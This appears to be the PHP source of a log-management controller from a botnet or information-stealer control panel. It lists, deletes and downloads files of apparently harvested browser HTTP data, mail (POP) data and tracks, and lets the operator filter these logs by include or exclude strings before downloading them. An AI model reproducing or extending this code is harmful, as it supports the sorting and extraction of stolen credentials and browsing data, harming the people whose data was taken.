<?php

namespace app\controllers;
if(!defined('ACCESS_CONTROL')) {header($_SERVER['SERVER_PROTOCOL']. ' 404'); exit('404 not found');}

class Logs  extends ControllerSession{

    public function get_index()
    {
        $m_bot = new \app\models\Logs();
        $stath = $m_bot->logs('browsers');
		$stats = $m_bot->logs('mails');
		
		$statt = $m_bot->createl();
		$statt = $m_bot->logs('tracks');
		
        $this->render('logs/index', array('stath'=>$stath, 'stats'=>$stats, 'statt'=>$statt));
    }	
    public function get_delhttp()
    {
        $m_bot = new \app\models\Logs();
        $m_bot->delhttp();
        $this->render('layouts/page_reload', [], array('layout'=>false, 'type'=>'js'));
    }
    public function get_delpop()
    {
        $m_bot = new \app\models\Logs();
        $m_bot->delpop();
        $this->render('layouts/page_reload', [], array('layout'=>false, 'type'=>'js'));
    }
    public function get_deltracks()
    {
        $m_bot = new \app\models\Logs();
        $m_bot->deltracks();
        $this->render('layouts/page_reload', [], array('layout'=>false, 'type'=>'js'));
    }
    public function get_dhttp()
    {
		$file = ("logstxt/browsers.txt");
		header ("Content-Type: application/octet-stream");
		header ("Accept-Ranges: bytes");
		header ("Content-Length: ".filesize($file));
		header ("Content-Disposition: attachment; filename=browsers.txt");  
		readfile($file);
    }
    public function get_dpop()
    {
		$file = ("logstxt/mails.txt");
		header ("Content-Type: application/octet-stream");
		header ("Accept-Ranges: bytes");
		header ("Content-Length: ".filesize($file));
		header ("Content-Disposition: attachment; filename=mails.txt");  
		readfile($file);
    }
    public function get_dtracks()
    {
		$file = ("logstxt/tracks.txt");
		header ("Content-Type: application/octet-stream");
		header ("Accept-Ranges: bytes");
		header ("Content-Length: ".filesize($file));
		header ("Content-Disposition: attachment; filename=tracks.txt");  
		readfile($file);
    }
    public function post_shttp()
    {
if ($_POST['http_incd']=="" && $_POST['http_excd']=="" && $_POST['http_text']=="") $this->redirect('?do=logs');
$fl=file("logstxt/browsers.txt");
$http_text=$_POST['http_text'];
if($_POST['http_incd']!="") { 
$str = explode(",", htmlspecialchars($_POST['http_incd']));
foreach($str as $key2 => $value2){
	foreach($fl as $key => $value){
	if(!strpos($value, $value2)) unset ($fl[$key]);
	if($http_text!="" && !strpos($value, $http_text)) unset ($fl[$key]);
	}
}
}
if($_POST['http_excd']!="" && $_POST['http_incd']=="") {
$str = explode(",", htmlspecialchars($_POST['http_excd']));
foreach($str as $key2 => $value2){
	foreach($fl as $key => $value){
	if(strpos($value, $value2)) unset ($fl[$key]);
	if($http_text!="" && !strpos($value, $http_text)) unset ($fl[$key]);
	}
}
}
if($_POST['http_excd']=="" && $_POST['http_incd']=="" && $http_text!="") {
	foreach($fl as $key => $value){
	if(!strpos($value, $http_text)) unset ($fl[$key]);
	}
}
if(empty($fl)) $this->redirect('?do=logs');
else {
foreach($fl as $key => $value){
file_put_contents('logstxt/search_browsers.txt', $value."", FILE_APPEND);
}

		$file = ("logstxt/search_browsers.txt");
		header ("Content-Type: application/octet-stream");
		header ("Accept-Ranges: bytes");
		header ("Content-Length: ".filesize($file));
		header ("Content-Disposition: attachment; filename=search_browsers.txt");  
		readfile($file);
		unlink("logstxt/search_browsers.txt");   
}
	}
    public function post_spop()
    {
if ($_POST['pop_incd']=="" && $_POST['pop_excd']=="" && $_POST['pop_text']=="") $this->redirect('?do=logs');
$fl=file("logstxt/mails.txt");
$pop_text=$_POST['pop_text'];
if($_POST['pop_incd']!="") { 
$str = explode(",", htmlspecialchars($_POST['pop_incd']));
foreach($str as $key2 => $value2){
	foreach($fl as $key => $value){
	if(!strpos($value, $value2)) unset ($fl[$key]);
	if($pop_text!="" && !strpos($value, $pop_text)) unset ($fl[$key]);
	}
}
}
if($_POST['pop_excd']!="" && $_POST['pop_incd']=="") {
$str = explode(",", htmlspecialchars($_POST['pop_excd']));
foreach($str as $key2 => $value2){
	foreach($fl as $key => $value){
	if(strpos($value, $value2)) unset ($fl[$key]);
	if($pop_text!="" && !strpos($value, $pop_text)) unset ($fl[$key]);
	}
}
}
if($_POST['pop_excd']=="" && $_POST['pop_incd']=="" && $pop_text!="") {
	foreach($fl as $key => $value){
	if(!strpos($value, $pop_text)) unset ($fl[$key]);
	}
}
//print_r($fl);
if(empty($fl)) $this->redirect('?do=logs');
else {
foreach($fl as $key => $value){
file_put_contents('logstxt/search_mails.txt', $value."", FILE_APPEND);
}

		$file = ("logstxt/search_mails.txt");
		header ("Content-Type: application/octet-stream");
		header ("Accept-Ranges: bytes");
		header ("Content-Length: ".filesize($file));
		header ("Content-Disposition: attachment; filename=search_mails.txt");  
		readfile($file);
		unlink("logstxt/search_mails.txt"); 
    }
}
} 